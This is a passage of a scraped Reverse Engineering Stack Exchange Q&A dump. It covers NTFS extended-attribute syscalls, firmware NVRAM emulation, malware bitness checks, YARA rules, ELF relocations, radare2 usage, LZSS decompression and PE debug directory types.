    I am making a program to set those attributes with C++. With IDA, I find that lxcore.sys driver uses ZwSetEaFile() and LxssManager.dll uses NtSetEaFile() function to set NTFS extended attributes. Here are the functions mentioned in ntdl.dll (using IDA v7):

    \n\n

    \"SetEaFile_ntdll\"

    \n\n

    Here is the Microsoft documentation of ZwSetEaFile():

    \n\n
    NTSTATUS ZwSetEaFile(\n  _In_  HANDLE           FileHandle,\n  _Out_ PIO_STATUS_BLOCK IoStatusBlock,\n  _In_  PVOID            Buffer,\n  _In_  ULONG            Length\n);\n
    \n\n

    But I'm not sure which one is appropriate to use? Is there any difference between them using in a user mode software?

    \n", "Title": "Appropriate function to set NTFS extended attributes: ZwSetEaFile or NtSetEaFile", "Tags": "|disassembly|", "Answer": "

    the op appears to have deleted some questions he posed as comments and accepted an answer
    \nso this answer might appear to be not relevant to the present context

    \n\n

    op commented if one could call the api in user_mode without loading ntdll.dll
    \nor calling either of the two variants of the api viz NtSetEaFile or ZwSetEaFile

    \n\n

    this answer shows how that can be done
    \nthe syscall number belongs to win7 sp1 32 bit
    \non compiling and executing a 0 byte text file will be created
    \nwhose extended info can be checked with ladislav zezulas filetest utility\nor by checking the ntfs usn change records

    \n\n
    #include <windows.h>\n#include <winternl.h>\ntypedef struct _MYEABUFF {\n    ULONG neoff; UCHAR flg; UCHAR nlen; USHORT vlen; char eaname[0x100];\n}MyEaBuff, *PMyEaBuff;\nint main() {\n    HANDLE fhand = CreateFileA(\"testec.txt\", GENERIC_READ | GENERIC_WRITE,\n    FILE_SHARE_READ|FILE_SHARE_WRITE,NULL,OPEN_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);\n    const char *Eaname=\"EATEST\";const char *EaValue=\"This is the text For EATEST\";\n    UCHAR nlen=(UCHAR)strlen(Eaname);USHORT EaValueLen=(USHORT)strlen(EaValue);\n    IO_STATUS_BLOCK iosb ={0}; MyEaBuff Buff ={0};\n    Buff.neoff = 0; Buff.flg = 0; Buff.nlen = nlen; Buff.vlen = EaValueLen;\n    strcpy_s(Buff.eaname, nlen + 1, Eaname);\n    strcpy_s(Buff.eaname + nlen + 1, EaValueLen + 1, EaValue);\n    PVOID iosb_ptr = &iosb; PVOID Buff_ptr = &Buff;\n    __asm {\n        push 108h\n        push Buff_ptr\n        push iosb_ptr\n        push fhand\n        call ntseaf\n        jmp exit\n    }\nntseaf:\n    __asm {\n        mov eax, 142h\n        mov edx, 7ffe0300h\n        call dword ptr ds : [edx]\n        retn 4\n    }\nexit:\n    return 0;\n} \n
    \n\n

    result of the bin checked with cjdump.exe (old msdn mag code)

    \n\n
    C:\\testea>cl /nologo testea.cpp\ntestea.cpp\n\nC:\\testea>testea.exe\n\nC:\\testea>CJDump.exe | grep testec.txt\nUsn(0x0000000129433C28) Reason(0x00000100) testec.txt < USN_REASON_FILE_CREATE\nUsn(0x0000000129433C78) Reason(0x00000500) testec.txt < USN_REASON_EA_CHANGE|0x100\nUsn(0x0000000129433CC8) Reason(0x80000500) testec.txt < USN_REASON_CLOSE|0x500\n
    \n" }, { "Id": "17317", "CreationDate": "2018-01-28T19:36:46.280", "Body": "

    I am doing a project for school on Emulation of device using its firmware. Using firmadyne, I can start up the smart device unfortunately because it is not a real device, information fields like Serial number, MAC address, and other device specific information is not present. I have a shell, and I can look around a physical exemplar of the device but I can't find any place where that is stored. I am limited on what I can do (via busybox)

    \n\n

    Where is the device specific information of smart devices usually kept? I am assuming it is burned-in somewhere?

    \n\n

    Thanks

    \n", "Title": "Where Is device specific information kept on smart devices", "Tags": "|binary-analysis|firmware|emulation|", "Answer": "

    These information pieces are generally stored in the NVRAM (Non-Volatile RAM), which is stored in one of the flash partition. To emulate a device successfully, you generally have to fill up the NVRAM with valid settings.

    \n\n

    Firmadyne contains an NVRAM emulation and you can find more information about the problem itself in this blog post.

    \n\n

    If I remember well, the NVRAM emulation could log out the requested settings, and you have to specify these values in the NVRAM storage directory.

    \n" }, { "Id": "17320", "CreationDate": "2018-01-28T22:21:25.160", "Body": "

    I am working with some malware samples and I need to determine if one of them is primarily composed of 32-bit Intel Code. This would seem easy as I can just check the metadata describing it as a 32-bit executable. However, my instructor said that does not suffice.

    \n\n

    How can I determine if this binary is primarily 32-bit Intel code without involving simply the metadata. I have a suite of tools at my disposal such as IDA-Pro, PEView, etc etc.

    \n", "Title": "Composition of a Binary File trouble", "Tags": "|ida|x86|malware|", "Answer": "

    what you mean by metadata
    \ndo you mean the details in header that denotes machine

    \n\n
    :\\>dumpbin /headers .\\x64\\x64dbg.exe | grep -i machine\n            8664 machine (x64)\n\n:\\>dumpbin /headers .\\x32\\x32dbg.exe | grep -i machine\n             14C machine (x86)\n                   32 bit word machine\n
    \n\n

    if you can't use it then can you disassemble the binary
    \nif yes you can look for x64 register usage
    \nif you find some registers like rax rbx etc then it is probably 64 bit \nelse 32 bit

    \n\n
    :\\>dumpbin /disasm x32\\x32dbg.exe | grep -ic \"r.x\"\n0\n\n:\\>dumpbin /disasm x64\\x64dbg.exe | grep -ic \"r.x\"\n801\n\n:\\>\n
    \n\n

    or you can check the reloc section if it has a highlow reloc it is possibly 32 bit
    \nand a DIR64 reloc indicates a 64 bit exe

    \n\n
    :\\>dumpbin /relocations /nologo x32\\x32dbg.exe | grep -A 2 -i rva\n    1000 RVA,       E0 SizeOfBlock\n       1  HIGHLOW            00402A00\n      11  HIGHLOW            00402A10\n--\n    2000 RVA,      148 SizeOfBlock\n       2  HIGHLOW            0040308C\n       8  HIGHLOW            00403090\n--\n    3000 RVA,       C8 SizeOfBlock\n     140  HIGHLOW            00402229\n     144  HIGHLOW            00401000\n--\n    5000 RVA,       18 SizeOfBlock\n       0  HIGHLOW            00403438\n       4  HIGHLOW            0040346C\n\n:\\>dumpbin /relocations /nologo x64\\x64dbg.exe | grep -A 2 -i rva\n    3000 RVA,       58 SizeOfBlock\n     278  DIR64      00000001400023DC\n     280  DIR64      0000000140001000\n--\n    5000 RVA,       18 SizeOfBlock\n       0  DIR64      0000000140003630\n       8  DIR64      0000000140003680\n
    \n" }, { "Id": "17326", "CreationDate": "2018-01-29T14:55:50.837", "Body": "

    As shown in the picture below, IDA PRO (6.8) knows to recognize that al and eax are referencing the same register.

    \n\n

    \"enter

    \n\n

    Given two operands in IDA Python (i.e. by idc.GetOpnd(..)), how can I find that they are referencing the same register?

    \n", "Title": "IDA Python recognize same register", "Tags": "|ida|disassembly|disassemblers|", "Answer": "

    Build a dictionary like this:

    \n\n
    { \"rax\":\"rax\", \"eax\":\"rax\", \"ax\":\"rax\" ...  }\n
    \n\n

    You can start from the dictionaries contained in https://github.com/angr/archinfo and change it.

    \n" }, { "Id": "17327", "CreationDate": "2018-01-29T16:19:58.833", "Body": "

    Where would I start when needing to configure a command and control server for a RAT?

    \n\n

    So that my dynamic analysis can be more complete.

    \n\n

    Note: I have been to the topics section of this stack exchange. \"tools commonly used for reverse engineering hardware or software\", this post would comply with that particular topic. It is definitely answerable, and not broad. \nAlso, this question is relevant (in compliance with the relevance guidelines) as many people on this exchange are new to malware analysis.

    \n", "Title": "Configuring a C&C for a RAT", "Tags": "|malware|dynamic-analysis|development|", "Answer": "

    You may use FakeNet so that you can simulate the connection specially the IP address and ports.

    \n" }, { "Id": "17333", "CreationDate": "2018-01-30T10:36:30.920", "Body": "

    Is there any sites to get static rules to detect malware files?\nstatic behavior rules for detecting malware files.

    \n\n

    Thanks in advance.

    \n", "Title": "Malware static rules?", "Tags": "|malware|static-analysis|", "Answer": "

    You can create or download tools to scan files with YARA rules. There are many repositories on github with custom rules and you can also get the ClamAV database, which is all in YARA. I think Kaspersky's database is also available in YARA rules. You can also use Loki; a fine tool for incident response which does this job and many more!

    \n" }, { "Id": "17343", "CreationDate": "2018-01-30T22:15:00.647", "Body": "

    I am trying to debugging c# .NET application which receives a set of doubles and keep it as DataSeries every second.

    \n\n

    I want to rewrite its dataseries before the new data comes with my own dataset.

    \n\n

    1st question.\nmy idea is the following:\nif I find the address on RAM where the data kept,I can rewrite with python or MHS.

    \n\n

    is this valid?

    \n\n

    2nd question.\nwhat does something like \"@06000027\" in DnSpy mean?\"enter

    \n\n

    thank you beforehand.

    \n", "Title": "Reversing C# exe,Questions.Help", "Tags": "|debugging|memory|decompile|c#|memory-dump|", "Answer": "

    Those numbers are metadata and is called Token IDs. You can click on those in the dnSpy and you will be taken to the editor of the selected item.

    \n\n

    As for your first question, remember that .net apps are JITed before the actual executions so addresses will change. If I would have to do this I would change the code on the .net level.

    \n" }, { "Id": "17345", "CreationDate": "2018-01-30T23:33:21.563", "Body": "

    In Learning Linux Binary Analysis by Ryan \"elfmaster\" O'Neill. On Page 33, the author compiles a program with a symbol reference and no definition,

    \n\n
    \n

    Let's take a look at the source code:

    \n\n
    _start()\n  {\n    foo();\n  }\n
    \n \n

    We see that it calls the foo() function. However, the foo() function is not located directly within that source code file; so, upon compiling, there will be a relocation entry created that is necessary for later satisfying the symbolic reference:

    \n\n
    $ objdump -d obj1.o\nobj1.o:\nfile format elf32-i386\nDisassembly of section .text:\n00000000 <func>:\n0: 55 push %ebp\n1: 89 e5 mov %esp,%ebp\n3: 83 ec 08 sub $0x8,%esp\n6: e8 fc ff ff ff call 7 <func+0x7>\nb: c9 leave\nc: c3 ret\n
    \n
    \n\n

    **Even after changing _start() {} to void start() {}, what flags do I use to compile the same thing? When I try, I get..

    \n\n
    gcc -nostdlib app.c -o test\napp.c: In function \u2018_start\u2019:\napp.c:3:3: warning: implicit declaration of function \u2018foo\u2019 [-Wimplicit-function-declaration]\n   foo();\n   ^~~\n/tmp/ccMBITVZ.o: In function `_start':\napp.c:(.text+0xa): undefined reference to `foo'\ncollect2: error: ld returned 1 exit status\n
    \n", "Title": "How do you compile a C program with missing symbols?", "Tags": "|elf|symbols|gcc|", "Answer": "

    Compiling your source code file like this also involves a call to the linker - remember that the \"gcc\" program is only the compiler front end program, which calls the preprocessor, compiler passes, assembler, and linker as required.

    \n\n

    You can obtain the object file \"app.o\" using the \"-c\" compiler option like this:

    \n\n
    gcc -nostdlib -c app.c -o app.o\n
    \n\n

    Using \"-c\", the compiler is instructed to stop after generating the object file, so that the linker is not invoked. To generate an executable ELF file, you then have to invoke the linker separately\n(app.o is the default output file name, so the \"-o app.o\" parameter can be omitted).

    \n" }, { "Id": "17346", "CreationDate": "2018-01-31T00:29:03.170", "Body": "

    From Learning Linux Binary Analysis by Ryan \"elfmaster\" O'Neill. On Page 32, the author states,

    \n\n
    \n

    The relocation records for 32-bit ELF files are the same as for 64-bit, but use 32-bit integers. The following example for are object file code will be compiled as 32-bit so that we can demonstrate implicit addends, which are not as commonly used in 64-bit. An implicit addend occurs when the relocation records are stored in ElfN_Rel type structures that don't contain an r_addend field and therefore the addend is stored in the relocation target itself. The 64-bit executables tend to use the ElfN_Rela structs that contain an explicit addend. I think it is worth understanding both scenarios, but implicit addends are a little more confusing, so it makes sense to bring light to this area.

    \n
    \n\n

    What is the actual definition of an \"addend\"?

    \n", "Title": "What is an \"addend\"?", "Tags": "|symbols|dynamic-linking|terminology|", "Answer": "
      \n
    • Augend is a term that means a number that is subject to addition
      • \n
    • Addend is the number that you will be adding.
      • \n
    \n\n

    From Dictionary.com,

    \n\n
    \n

    Have you ever found yourself staring at a piece of paper with \u201c3 + 4\u201d written on it, and wondered \u2018what is the proper term for each of these two respective quantities?\u2019 No? The first number is the augend and the number that is added to it is the addend.

    \n
    \n\n

    You can see a chart of other math terms here on Wikipedia's \"Calculation results\",

    \n\n

    \"Calculation

    \n\n

    Why the special terms here?

    \n\n
      \n
    • Well, that's likely because in assembly add rbi, rax will actually store the result in rbi. So knowing the first argument is not just an argument to add but the destination; add rax, rbi will store the result in rax. If assembly was displayed with operators instead, we'd have rbi += rax and rax += rbi.
      • \n
    • Because the addend is not always an offset, and the augend is not always the base. Though in this specific example, \"offset\" is far more appropriate.
      • \n

    • In this specific case, the term \"implicit offset\" can be found in the Tool Interface Standard (TIS) Executable and Linking Format (ELF) Specification\nVersion 1.2,

      \n\n
      \n

      ... only Elf32_Rela entries contain an explicit addend. Entries of type Elf32_Rel store an implicit addend in the location to be modified. Depending on the processor architecture, one form or the other might be necessary or more convenient. Consequently, an implementation for a particular machine may use one form exclusively or either form depending on context.

      \n
      • \n
    \n" }, { "Id": "17359", "CreationDate": "2018-02-01T10:07:31.387", "Body": "

    I am given a large memory dump (several megabytes). I need to update idb's memory. What I do now is: PatchQword(addr, value) if value != Qword(addr) for every qword in memory dump. Unfortunately, every PatchQword takes way too long (around 3-4 PatchQwords per second).

    \n\n

    SO the question is: is there a way to tell IDA to update large regions of memory at once?

    \n", "Title": "Big patches for memory dumps", "Tags": "|ida|", "Answer": "

    If you don't care about the value of original bytes, you can use put_bytes().

    \n" }, { "Id": "17379", "CreationDate": "2018-02-03T21:19:56.940", "Body": "

    When I run is to show the symbols, I see

    \n\n
    [Symbols]\n004 0x000000f0 0x006000f0  LOCAL NOTYPE    0 text1\n005 0x000000cb 0x004000cb  LOCAL NOTYPE    0 _print\n006 0x000000d1 0x004000d1  LOCAL NOTYPE    0 _printLoop\n008 0x000000f0 0x006000f0  LOCAL OBJECT    0 _GLOBAL_OFFSET_TABLE_\n009 0x000000b0 0x004000b0 GLOBAL NOTYPE    0 _start\n010 0x006000fe 0x006000fe GLOBAL NOTYPE    0 __bss_start\n011 0x006000fe 0x006000fe GLOBAL NOTYPE    0 _edata\n012 0x00600100 0x00600100 GLOBAL NOTYPE    0 _end\n
    \n\n

    but when I run

    \n\n
    [0x00000000]> s _start\n[0x00000000]> s @_start\n0x0\n
    \n\n

    Nothing happens? How come that doesn't resolve to 0x004000b0? Doing afl, I see

    \n\n
    [0x00000000]> afl\n0x004000b0    3 63           entry0\n
    \n\n

    I can seek to that

    \n\n
    [0x00000000]> s entry0\n[0x004000b0]> \n
    \n\n

    Why can I seek to entry0 but not to _start, they have the same address?

    \n", "Title": "Radare can't seek to _start symbol", "Tags": "|radare2|symbols|", "Answer": "

    You can't seek to any symbol that shown by is, you can only seek to \"flags\" or addresses.

    \n\n

    The f command is used to list all the flags from the selected flagspace. By default all the available flagspaces are selected. For example, in order to select the 'symbols' flagspace and list only the flags inside it, use:

    \n\n
    [0x004049a0]> fs symbols\n[0x004049a0]> f\n0x00402a00 261 main\n0x004049a0 41 entry0\n0x0061e600 8 obj.__bss_start\n0x00413c8c 9 sym._fini\n0x0061e610 4 obj.optind\n0x004022b8 26 sym._init\n0x0061e620 8 obj.program_invocation_name\n0x0061e600 0 loc.__bss_start\n0x0061f368 0 loc._end\n0x00412960 38 sym._obstack_memory_used\n0x0061e5f8 8 obj.obstack_alloc_failed_handler\n0x00412780 17 sym._obstack_begin\n0x0061e640 8 obj.stderr\n0x004128f0 106 sym._obstack_free\n0x004128c0 48 sym._obstack_allocated_p\n0x0061e618 8 obj.optarg\n0x004127a0 21 sym._obstack_begin_1\n0x004127c0 245 sym._obstack_newchunk\n0x0061e608 8 obj.stdout\n
    \n\n

    You can use radare's internal grep to find specific flags:

    \n\n
    [0x00000000]> f~imp\n0x004004d0 16 sym.imp.puts\n0x004004e0 16 sym.imp.system\n0x004004f0 16 sym.imp.__libc_start_main\n0x00400500 16 sym.imp.strcmp\n0x00400000 16 loc.imp.__gmon_start\n0x00400510 16 sym.imp.__isoc99_scanf\n
    \n" }, { "Id": "17386", "CreationDate": "2018-02-04T18:40:48.590", "Body": "

    So I got this file with an unknown extension. The file is an event flow code

    \n\n

    Ok, so I analysed the file (with HxD) and it seems to be compressed in some way because you can read some plain text there. I have some coding skills but I never done this kind of things before

    \n\n

    So... Is there any good tutorial to start decompressing/decoding unknown files? Or at least, is there any good tool I should use for this job?\nOr any advice/tip for this?

    \n\n

    Thanks in advance!

    \n", "Title": "Unknown game file decompress", "Tags": "|file-format|decryption|decompress|", "Answer": "
    \n

    it seems to be compressed in some way because you can read some plain text there

    \n
    \n\n

    This statement is contradictory. If the binary were compressed or encrypted in its entirety there would not be any readable ASCII strings in a hexdump. Readable ASCII data indicates at the very least that there are regions within the binary that are not compressed or encrypted.

    \n\n

    The fastest way of determining whether a binary is compressed or encrypted is through visualization. Visualization of this binary shows that Rad Lexus is correct: it is neither compressed nor encrypted.

    \n\n

    \"vis\n\"ent\n\"vis\n\"ent

    \n\n

    \"binwalk

    \n\n

    Compressed and encrypted data have an entropy of close to 1 (on a scale of 0 to 1). In this file it is never higher than 0.8, indicating conclusively that there are no compressed or encrypted regions within the binary. The spike in entropy toward the end of the file corresponds to the relatively contiguous block of ASCII data shown by the blue coloring in the 1st and 3rd images.

    \n\n

    If you want to know how the data in this file is accessed, you need to examine the processes that read from and write to this file, as Pawe\u0142 \u0141ukasik said.

    \n\n

    Here is some advice

    \n" }, { "Id": "17388", "CreationDate": "2018-02-04T22:47:40.983", "Body": "

    When I use a command like fs, I get output like

    \n\n
    0    0 * strings\n1    6 * symbols\n2   14 * sections\n3    0 * relocs\n
    \n\n

    It's clear to me on the left is an incrementing number that represents the flagspace. It's not clear to me what the number on the right is; fs is defined as

    \n\n
    Usage: fs [*] [+-][flagspace|addr] # Manage flagspaces\n
    \n", "Title": "Is there a way to get the headers with the Radare output?", "Tags": "|radare2|", "Answer": "

    As @blabb said, this number represents the amount of flags in each flagspace.

    \n\n

    So for your example:

    \n\n
    0    0 * strings\n1    6 * symbols\n2   14 * sections\n3    0 * relocs\n
    \n\n
      \n
    • The flagspace \"strings\" has 0 flags
      • \n
    • The flagspace \"symbols\" has 6 flags
      • \n
    • The flagspace \"sections\" has 14 flags
      • \n
    • The flagspace \"relocs\" has 0 flags
      • \n
    \n\n

    But more generally, the title of your question asks whether there's \"a way to get the headers with the Radare output?\", the answer for this is yes.

    \n\n

    Getting the headers

    \n\n

    Some of radare's informative commands (which print information) shows you a key-value output. Take for example the ie command to print the entrypoints of the program:

    \n\n
    [0x00400530]> ie\n[Entrypoints]\nvaddr=0x00400530 paddr=0x00000530 baddr=0x00400000 laddr=0x00000000 haddr=0x00000018 type=program\n\n1 entrypoints\n
    \n\n

    You can see that each value is printed with its key (vaddr, paddr, type and so on).

    \n\n

    Other commands would not show you the headers, just as your example with the fs command. So what can you do to show this information? Simply, use the JSON representation of the output. Most of radare2's informative commands can be appended with a j to format the output as JSON.

    \n\n

    So, for example, printing fsj will show you the flagspaces in JSON. I'll add ~{} to format the output with JSON indention for readabilty:

    \n\n
    [0x00400530]> fsj~{}\n[\n  {\n    \"name\": \"strings\",\n    \"count\": 5,\n    \"selected\": true\n  },\n  {\n    \"name\": \"symbols\",\n    \"count\": 36,\n    \"selected\": false\n  },\n  {\n    \"name\": \"sections\",\n    \"count\": 82,\n    \"selected\": false\n  },\n  {\n    \"name\": \"relocs\",\n    \"count\": 6,\n    \"selected\": false\n  },\n  {\n    \"name\": \"imports\",\n    \"count\": 6,\n    \"selected\": false\n  }\n]\n
    \n\n

    As you can see, radare presents us with a simple JSON output that contains the headers (keys) for each value. This way you can easily spot the \"count\" header which is corresponding to the output without j.

    \n" }, { "Id": "17396", "CreationDate": "2018-02-05T21:25:06.170", "Body": "

    I am trying to reverse engineer my HP printer's firmware, so I dumped the SPI chip from the board, and there are a lot of strings, but almost always look something like this:\n\"enter

    \n\n

    I noticed a pattern that sometimes after every 8 bytes FF byte is added. However, this is not the whole pattern. Does anyone have a clue what could this be? It is not the dump error since I extracted some JPEG images from uncompressed parts just fine, and multiple dumps produce the same file.

    \n\n

    UPDATE:\nI figured it could be LZSS compression, and I managed to decompress this part and got this.\nHowever, when I tried the same script on the other part which has the same pattern it does not decompress properly. What could be the reason?

    \n\n

    I used the QuickBMS script for LZSS algorithm (code below).\nIdeally, I would like to do it in python, but the scripts I found did not produce the good result even with the same LZSS parameters. I am not super familiar with QuickBMS scripting.

    \n\n
    # lzss decompression function written in 100% bms scripting\n\nset NAME string \"unpacked.dat\"\nget ZSIZE asize\nmath SIZE = ZSIZE\nmath SIZE *= 10\nlog MEMORY_FILE 0 ZSIZE\ncallfunction LZSS_BMS_DUMP\n\n# you must set: MEMORY_FILE (input), ZSIZE (input size), MEMORY_FILE2 (output), SIZE (max size)\nstartfunction LZSS_BMS_DUMP\n    set EI long 12\n    set EJ long 4\n    set P long 2\n    set rless long P\n    set init_chr long 0x00\n\n    set N long 1\n    math N <<= EI\n    set F long 1\n    math F <<= EJ\n\n    # pre-allocate memory for faster performances\n    putvarchr MEMORY_FILE3 N 0\n    for i = 0 < N\n        putvarchr MEMORY_FILE3 i init_chr\n    next i\n    putvarchr MEMORY_FILE2 SIZE 0\n\n    math r = N\n    math r -= F\n    math r -= rless\n    math N -= 1\n    math F -= 1\n\n    math src = 0\n    math dst = 0\n    math srcend = ZSIZE\n    math dstend = SIZE\n\n    math flags = 0\n    for src = 0 < srcend\n        if flags & 0x100\n        else\n            getvarchr flags MEMORY_FILE src\n            math src += 1\n            math flags |= 0xff00\n        endif\n        if flags & 1\n            getvarchr c MEMORY_FILE src\n            math src += 1\n            putvarchr MEMORY_FILE2 dst c\n            math dst += 1\n            putvarchr MEMORY_FILE3 r c\n            math r += 1\n            math r &= N\n        else\n            getvarchr i MEMORY_FILE src\n            math src += 1\n            getvarchr j MEMORY_FILE src\n            math src += 1\n            math TMP = j\n            math TMP >>= EJ\n            math TMP <<= 8\n            math i |= TMP\n            math j &= F\n            math j += P\n            for k = 0 <= j\n                math TMP = i\n                math TMP += k\n                math TMP &= N\n                getvarchr c  MEMORY_FILE3 TMP\n                putvarchr MEMORY_FILE2 dst c\n                math dst += 1\n                putvarchr MEMORY_FILE3 r c\n                math r += 1\n                math r &= N\n            next k\n        endif\n        math flags >>= 1\n    next\n    math SIZE = dst\n    log NAME 0 SIZE MEMORY_FILE2\nendfunction\n
    \n", "Title": "Issues with reversing LZSS compression algorithm", "Tags": "|firmware|hex|decompress|", "Answer": "

    A couple of years of experience later, I revisited this project and figured it out!\nThe compression is in fact LZSS, and the QuickBMS script from my question is able to decompress it correctly. The second section I mentioned was problematic just because there are uncompressed blocks in between compressed blocks in the chip dump, so, obviously, they need to be extracted and decompressed separately.

    \n\n

    If anyone is interested in understanding LZSS properly, I really liked the way it was explained in the book \"Retrogame Archeology: Exploring Old Computer Games\", page 104 (can be viewed for free on Google books).

    \n\n

    Thanks all for helping, I could not have figured it out without an amazing community here! :)

    \n" }, { "Id": "17406", "CreationDate": "2018-02-07T08:20:34.257", "Body": "

    I have the following AT&T assembly code:

    \n\n
      movl 12(%ebp),%eax\n  cmpl %eax,8(%ebp)\n  jle L7\n  movl 8(%ebp),%eax\nL7:\n  leave\n
    \n\n

    I'm supposed to \"transpose\"(??) it to C code. I actually just have to fill in the blanks in this skeleton C code:

    \n\n
    int g(int x, int y) {\n    if (x ______ y)\n        return ______;\n    else\n        return ______;\n}\n
    \n\n

    From what I unerstand, the assembly is going to return whatever is in %eax when done.

    \n\n

    So this is how I understand what's happening:

    \n\n

    The cmpl %eax,8(%ebp) line is comparing x (8(%ebp)) with y (%eax). If x is <= to y, we jump to L7: and return whatever is in %eax at that time, which is y. Otherwise, we proceed to the next line in the assembly code and movl x (8(%ebp)) to %eax, and return whatever is in %eax, which would be x at that point.

    \n\n

    In the end, this is what I think is happening:

    \n\n
    int g(int x, int y) {\n    if (x <= y)\n        return y;\n    else\n        return x;\n}\n
    \n\n

    Am I correct in saying that the assembly returns whatever is in %eax when the assembly code is finished running?

    \n", "Title": "AT&T - Does assembly code return whatever is in %eax by default?", "Tags": "|assembly|decompilation|", "Answer": "
    \n

    Am I correct in saying that the assembly returns whatever is in %eax when the assembly code is finished running?

    \n
    \n\n

    Assembly doesn't \"return\" anything.

    \n\n

    In assembly, it is left to the programmer to decide how to pass values between the caller and callee routines. In order to avoid things getting messy, calling conventions have been devised.

    \n\n

    Your question therefore becomes \"what calling convention was used to compile the unknown C code to the known assembly?\"

    \n\n

    When compiling for x86 architectures, C compilers usually use the cdecl convention. \n Working on the assumption that was the convention used here, then integer results would indeed always be returned in register EAX.

    \n" }, { "Id": "17415", "CreationDate": "2018-02-08T06:55:43.123", "Body": "

    I have a arm 32bit lsb executable which prints \"hello world\" to the screen. How do I change the string to \"Good bye\" using radare2.

    \n\n

    I believe this will teach me the basics of RE and radare2.

    \n\n

    Thank you !

    \n", "Title": "How to change a string in a arm 32bit lsb executable binary using radare2?", "Tags": "|arm|radare2|binary|", "Answer": "

    Let's start from writing a simple Hello, World program and compile it.

    \n\n
    beet:/tmp$ cat helloworld.c\n\n#include <stdio.h>\nint main()\n{\n   printf(\"Hello, World!\\n\");\n   return 0;\n}\n\nbeet:/tmp$ gcc helloworld.c -o helloworld\nbeet:/tmp$ ./helloworld\nHello, World!\n
    \n\n

    Since we are going to modify the binary, it is recommended to work on a copy of the original file:

    \n\n
    beet:/tmp$ cp helloworld modified_helloworld\n
    \n\n

    Now open the modified binary with radare2 in writing mode (-w):

    \n\n
    beet:/tmp$ r2 -w modified_helloworld\n -- Change the UID of the debugged process with child.uid (requires root)\n[0x00400430]>\n
    \n\n

    Now we need to locate the string \"Hello, World!\" in the program so we'll know the address we should modify. To do this we'll use the iz command which will print strings from the data sections:

    \n\n
    [0x00400430]> iz\nvaddr=0x004005c4 paddr=0x000005c4 ordinal=000 sz=14 len=13 section=.rodata type=ascii string=Hello, World!\n
    \n\n

    We can see that \"Hello, World!\" is located at 0x004005c4 and its length is \"13\". That means that we need to replace this string with another string of length \"13\". We'll use \"Good, Bye!!!!\" which is 13 character length as well.

    \n\n

    We'll use the w command to modify the string in this address:

    \n\n
    [0x00400430]> w Good, Bye!!!! @ 0x004005c4\n
    \n\n

    Now exit from radare2 and execute the program, The changes will affected immediately.

    \n\n
    beet:/tmp$ ./modified_helloworld\nGood, Bye!!!!\n
    \n\n

    et voil\u00e0! We changed the output.

    \n\n

    You can read more in the \"Editing\" chapter from radare2book.

    \n" }, { "Id": "17427", "CreationDate": "2018-02-10T15:03:10.280", "Body": "

    Microsoft describes the IMAGE_DEBUG_DIRECTORY structure here.

    \n\n

    I learned here that for recent VisualStudio-compiled binaries, the type is IMAGE_DEBUG_TYPE_CODEVIEW, i.e. the value is 0x2.

    \n\n

    Now I have a vanilla VS-2015 compiled binary and I am using the Python module pefile to iterate over the IMAGAE_DEBUG_DIRECTORY objects:

    \n\n
    for debug_data_object in pe.DIRECTORY_ENTRY_DEBUG:\n    ...\n
    \n\n

    The first entry is as expected:

    \n\n
    0x6500     0x0   Characteristics:               0x0       \n0x6504     0x4   TimeDateStamp:                 0x59088504 [Tue May 02 13:09:24 2017 UTC]\n0x6508     0x8   MajorVersion:                  0x0       \n0x650A     0xA   MinorVersion:                  0x0       \n0x650C     0xC   Type:                          0x2       \n0x6510     0x10  SizeOfData:                    0x88      \n0x6514     0x14  AddressOfRawData:              0x176DC   \n0x6518     0x18  PointerToRawData:              0x66DC\n
    \n\n

    But there is a second one. Its type is 0xC :

    \n\n
    0x651C     0x0   Characteristics:               0x0       \n0x6520     0x4   TimeDateStamp:                 0x59088504 [Tue May 02 13:09:24 2017 UTC]\n0x6524     0x8   MajorVersion:                  0x0       \n0x6526     0xA   MinorVersion:                  0x0       \n0x6528     0xC   Type:                          0xC       \n0x652C     0x10  SizeOfData:                    0x14      \n0x6530     0x14  AddressOfRawData:              0x17764   \n0x6534     0x18  PointerToRawData:              0x6764 \n
    \n\n

    What is this second entry about? Why is it there? What does type 0xc correspond to?

    \n\n


    \n
    \nUPDATE

    \n\n

    In addition to the answer below, this SO post contains additional detailed info.

    \n", "Title": "PE: Strange entry in debug directory (Type: 0xc)", "Tags": "|pe|binary-format|debugging-symbols|", "Answer": "

    If you check winnt.h from the latest Windows 10 SDK you can find rest of the values there:

    \n\n
    #define IMAGE_DEBUG_TYPE_UNKNOWN          0\n#define IMAGE_DEBUG_TYPE_COFF             1\n#define IMAGE_DEBUG_TYPE_CODEVIEW         2\n#define IMAGE_DEBUG_TYPE_FPO              3\n#define IMAGE_DEBUG_TYPE_MISC             4\n#define IMAGE_DEBUG_TYPE_EXCEPTION        5\n#define IMAGE_DEBUG_TYPE_FIXUP            6\n#define IMAGE_DEBUG_TYPE_OMAP_TO_SRC      7\n#define IMAGE_DEBUG_TYPE_OMAP_FROM_SRC    8\n#define IMAGE_DEBUG_TYPE_BORLAND          9\n#define IMAGE_DEBUG_TYPE_RESERVED10       10\n#define IMAGE_DEBUG_TYPE_CLSID            11\n#define IMAGE_DEBUG_TYPE_VC_FEATURE       12\n#define IMAGE_DEBUG_TYPE_POGO             13\n#define IMAGE_DEBUG_TYPE_ILTCG            14\n#define IMAGE_DEBUG_TYPE_MPX              15\n#define IMAGE_DEBUG_TYPE_REPRO            16\n
    \n\n

    So 0xC is IMAGE_DEBUG_TYPE_VC_FEATURE. It looks like there's not much info on what it is stored there but you can do some searches to get some idea.

    \n" }, { "Id": "17430", "CreationDate": "2018-02-10T17:50:36.713", "Body": "

    I have a small program that I wanted to debug.
    \nI run OllyDbg version 2 and attached the program to the debugger.

    \n\n

    I received this window:
    \n\"enter

    \n\n

    You can see that the addresses are from the Kernel memory.
    \nI want to see the code of the program, I tried to double click on all the opened thread but everyone are in a kernel memory.
    \nI noticed that the header is:

    \n\n
    \n

    CPU - main thread, module USER32

    \n
    \n\n

    Maybe the problem is that it showing me the module's memory and not the program's memory.

    \n\n

    Any idea how I can switch to the program's memory (user-space memory)?

    \n", "Title": "How to get back to program's main code (user-space) while attaching to de bugger", "Tags": "|ollydbg|debugging|", "Answer": "

    I found how to do it.

    \n\n

    Just right click on the code, choose Select module and choose the main module which is usually on the top.

    \n\n

    \"enter

    \n" }, { "Id": "17433", "CreationDate": "2018-02-10T19:31:00.880", "Body": "

    I am debugging a program and searching to see when the program is calling WinHttpOpenRequest.

    \n\n

    I searched using for the function with Ctrl+G
    \n\"enter

